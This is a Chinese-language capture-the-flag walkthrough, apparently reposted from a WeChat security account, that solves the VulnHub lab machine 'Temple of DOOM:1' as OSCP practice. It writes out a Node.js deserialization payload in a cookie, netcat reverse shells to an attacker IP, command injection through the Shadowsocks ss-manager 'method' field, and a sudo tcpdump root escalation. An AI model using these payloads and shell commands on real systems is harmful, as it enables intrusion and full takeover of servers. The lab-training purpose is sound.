OSCP难度靶机之Temple of DOOM:1

admin 2022年3月22日02:14:27评论214 views字数 2244阅读7分28秒阅读模式

虚拟机信息:

虚拟机下载地址https://www.vulnhub.com/entry/temple-of-doom-1,243/

虚拟机简介:有两种方式获取root权限

目标:1个flag

级别:简单/中级

1、设备开机后可以直接查看到IP地址

OSCP难度靶机之Temple of DOOM:1

2、通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 10.128.183.249

查看开放22、666端口

OSCP难度靶机之Temple of DOOM:1

3、WEB渗透测试

3.1 使用dirb和nikto进行网站目录都是,都没有有用信息,查看cookie显示有URL编码

OSCP难度靶机之Temple of DOOM:1

3.2 针对cookie值进行URL解码后是base64加密,需要base64做二次解码得到值

OSCP难度靶机之Temple of DOOM:1

3.3 未对请求进行修改,使用repeater进行发送,显示报错信息

OSCP难度靶机之Temple of DOOM:1

报错原因由于Friday前面缺少一个引号,没有闭合字段

OSCP难度靶机之Temple of DOOM:1

3.4 在Friday前面添加一个引号,并把字段先做ba64编码,再做url编码,页面显示正常

OSCP难度靶机之Temple of DOOM:1

base64编码:burp快捷键CTRL + B

OSCP难度靶机之Temple of DOOM:1

URL编码:burp快捷键CTRL + U,使用repeater发送后显示正常

OSCP难度靶机之Temple of DOOM:1

3.5 删除cookie只保留用户信息

OSCP难度靶机之Temple of DOOM:1

转换后发送查看显示正常

OSCP难度靶机之Temple of DOOM:1

3.6 替换账号进行测试

OSCP难度靶机之Temple of DOOM:1

转换编码后发送查看显示正常,判断为节点序列化

OSCP难度靶机之Temple of DOOM:1

3.7 使用反序列化利用方法

参考:https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}

示例说明

_$$ND_FUNC$$_function() : 在本地执行一个函数
child_process 是node.js中的一个模块,它以类似于popen(3)的方式生成子进程
child_process.exec () method: 此方法在控制台中运行命令并缓冲输出,它指定字符串Shell执行命令(在UNIX上默认:'/bin/sh')

OSCP难度靶机之Temple of DOOM:1

编码后发送到服务器,显示当前用户为:nodeadmin

OSCP难度靶机之Temple of DOOM:1

3.8 执行ls命令进行查看

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('ls -lah',(e,out,err)=>{console.log(out);}); }()"}

OSCP难度靶机之Temple of DOOM:1

转码后可以看到命令执行正常

OSCP难度靶机之Temple of DOOM:1

3.9 执行反弹shell连接

kali开启NC反弹

nc -nlvp 4444

OSCP难度靶机之Temple of DOOM:1

开启反弹shell

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('nc -e /bin/bash 10.128.103.250 4444',(e,out,err)=>{console.log(out);}); }()"}

OSCP难度靶机之Temple of DOOM:1

OSCP难度靶机之Temple of DOOM:1

获取到反弹shell连接

OSCP难度靶机之Temple of DOOM:1

3.10 使用python优化脚本,查看fireman权限拒绝

python -c 'import pty;pty.spawn("/bin/bash")'

OSCP难度靶机之Temple of DOOM:1

ls /home
cd /home/fireman
cd /home/nodeadmin

OSCP难度靶机之Temple of DOOM:1

3.11 查看fireman运行软件

ps aux | grep fireman

ss-manager由fireman作为root来运行。ss-manager容易受到远程代码执行的影响

参考链接:https://github.com/shadowsocks/shadowsocks-libev/issues/1734

OSCP难度靶机之Temple of DOOM:1

ss-manager是Shadowsocks的缩写。Shadowsocks-libev是用于嵌入式设备和低端盒的轻型安全SOCKS5代理ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器。

3.12 将Shadowsocks与netcat命令一起使用

kali开启NC监听

OSCP难度靶机之Temple of DOOM:1

使用nc连接Shadowsocks

nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 10.128.103.250 5555||"}

OSCP难度靶机之Temple of DOOM:1

使用python优化脚本

python -c 'import pty;pty.spawn("/bin/bash")'

OSCP难度靶机之Temple of DOOM:1

4、系统提权

4.1 查看用户sudo权限,查看有iptables、nmcli、tcpdump权限

sudo -l

OSCP难度靶机之Temple of DOOM:1

4.2 使用tcpdump进行sudo提权

kal开启NC监听

nc -nlvp 8888

OSCP难度靶机之Temple of DOOM:1

在靶机上进行tcpdump提权操作

cd /tmp
echo "nc -e /bin/bash 192.168.56.103 8888" > shell
chmod 777 shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root

OSCP难度靶机之Temple of DOOM:1

4.3 获取shell权限,使用python优化脚本

python -c 'import pty;pty.spawn("/bin/bash")'
cat /root/flag.txt

OSCP难度靶机之Temple of DOOM:1

OSCP难度靶机之Temple of DOOM:1


原文始发于微信公众号(安全孺子牛):OSCP难度靶机之Temple of DOOM:1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月22日02:14:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSCP难度靶机之Temple of DOOM:1https://cn-sec.com/archives/835223.html

发表评论

匿名网友 填写信息